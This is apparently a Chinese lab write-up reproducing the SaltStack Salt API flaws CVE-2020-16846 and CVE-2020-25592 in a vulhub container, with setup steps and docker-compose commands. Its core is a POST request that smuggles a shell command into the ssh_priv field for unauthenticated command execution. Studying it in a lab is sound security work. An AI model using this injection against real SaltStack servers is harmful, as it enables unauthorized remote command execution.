声明
好好学习,天天向上
漏洞描述
SaltStack 是基于 Python 开发的一套C/S架构配置管理工具。2020年11月SaltStack官方披露了CVE-2020-16846和CVE-2020-25592两个漏洞
其中CVE-2020-25592允许任意用户调用SSH模块
CVE-2020-16846允许用户执行任意命令。组合这两个漏洞,将可以使未授权的攻击者通过Salt API执行任意命令
影响范围
SaltStack < 3002.1
SaltStack < 3001.3
SaltStack < 3000.5
SaltStack < 2019.2.7
复现过程
使用vulhub
这里使用3002版本
/app/vulhub-master/saltstack/CVE-2020-16846
启动
docker-compose up -d
环境启动后,将会在本地监听如下端口:
- 4505/4506 这是SaltStack Master与minions通信的端口
- 8000 这是Salt的API端口,需要通过https访问
- 2222 这是容器内部的SSH服务器监听的端口
访问
https://your-ip:8000/run
使用POST,传递下面的参数
token=12312&client=ssh&tgt=*&fun=a&roster=whip1ash&ssh_priv=aaa|touch%20/tmp/cve-2020-16846%3b
即可执行命令
使用完关闭镜像(每次用完后关闭)
docker-compose down
docker-compose常用命令
拉镜像(进入到vulhub某个具体目录后)
docker-compose build
docker-compose up -d
镜像查询(查到的第一列就是ID值)
docker ps -a
进入指定镜像里面(根据上一条查出的ID进入)
docker exec -it ID /bin/bash
关闭镜像(每次用完后关闭)
docker-compose down